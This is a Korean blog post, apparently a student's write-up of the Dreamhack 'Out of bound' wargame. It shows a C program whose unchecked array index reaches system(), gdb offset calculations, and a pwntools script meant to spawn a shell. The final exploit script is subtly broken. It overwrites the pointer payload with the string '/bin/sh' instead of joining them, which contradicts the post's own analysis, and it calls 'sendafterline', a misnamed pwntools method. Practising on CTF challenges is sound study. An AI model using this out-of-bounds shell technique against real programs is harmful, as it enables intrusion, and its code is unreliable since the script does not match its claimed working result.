[Dreamhack] Out of bound: 2 - Out of bound

securitykss·2023년 1월 18일
0

Pwnable 강의(dreamhack)

목록 보기
25/58

1. Description

2. Check

2.1 C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" };

void alarm_handler() {
	puts("TIME OUT");
    exit(-1);
}

void initialize() {
	setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main() {
	int idx;
    
    initialize();
    
    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");
    
    scanf("%d", &idx);
    
    system(command[idx]);
    
    return 0;
    
}

code description

전역 변수로 name[16]과, command[10]이 있다.

이 두 변수든 .bss 영역에 존재한다.

alarm_handler()로 시간을 제한한다.

initialize()로 입출력 버퍼를 비우고, alarm을 호출한다.(30초)

main에서 name의 size만큼, 즉, 16만큼 입력을 받고,

idx를 입력받는다.

그 후 system(command[idx]);를 호출한다.

2.2 file

32bit elf 파일

dynamically linked

특별한 것은 없다.

2.3 checksec

3. Design

system 함수에서 command[idx]를 호출하는 것으로 봐서

name에서 입력을 받을 때, command를 조작할 수 있을 것 같다.(OOB를 통해서)

name "/bin/sh"을 넣거나, "cat flag"를 넣고,

name과 command의 offset을 구해서 flag를 획득할 수 있다.

4. Exploit

4.1 gdb 분석

먼저 main을 살펴 보자

4.1.1 name 주소

main+ 52 ~ 61

read 함수 호출이다.

read(0,name,16)이고, name의 주소는 0x804a0ac임을 알 수 있다.

4.1.2 idx 위치

main+ 88 ~ 97

scanf 함수 호출이다.

scnaf("%d", &idx)이고, [ebp-0x10]이 idx임을 알 수 있다.

4.1.3 system 함수 및, command 주소

main+ 105 ~ 119

system 함수 호출이다.

system(command[idx])이고, command의 주소가 0x804a060임을 알 수 있다.

또한, [idx]는 [eax * 4]로 참조한다.

4.1.4 name과 command의 offset

command의 주소 0x804a060, name의 주소 0x804a0ac 이다.

이 두 차이, 즉 offset은 (0x804a0ac - 0x804a060) = 0x4c, 10진수로 76이다.

command + 76 = command + 19 * 4 = name

idx가 19일 경우 name의 주소에 닿을 수 있다.

4.1.5 정리

첫 입력 때, name에 "cat flag"나 "/bin/sh"을 넣고

두번째 입력 때, idx에 19를 넣으면 된다고 생각했다.

4.2 system 함수의 특징

4.2.1 실행

위에서 설명한 것처럼, /bin/sh을 넣고, 그 후 19를 넣었다.

그랬더니 error가 떴다.

디버깅을 더 해보니

system 함수를 호출 할 때, eax 값이 /bin 밖에 들어가 있지 않다.

4.2.2 특징

system 함수는 인자를 const char *cmd)로 받는다.

즉, 다시 말해, 주소 참조를 한다는 뜻이다.

위와 같이, 바로 /bin/sh을 넣게 될 경우에는, /bin의 주소 즉, 0x6e69622f 주소가 들어감으로써, shell이 실행되지 않는다.

4.2.3 how to exploit?

그렇다면 ((name+4) + "/bin/sh")을 첫 입력 때, 넣고,

19를 입력하면 성공할 것이다.

4.3 exploit code

from pwn import *

p = process("./out_of_bound")
#p = remote("서버", 포트)
context.log_level = 'debug'

payload = p32(0x804a0ac+4)		# name+4의 주소
payload = b"/bin/sh"			# b"cat flag"도 됨

p.sendafterline(":", payload)

p.sendafterline("?", b"19")

p.interactive()

4.4 exploit result

shell을 획득했고, flag가 있는 것을 확인했다.

마치며

이렇게 out_of_bound를 활용해서, exploit 하는 방법을 알아보았다.

Reference

https://dreamhack.io/wargame/challenges/11/

profile
보안 공부를 하는 학생입니다.

0개의 댓글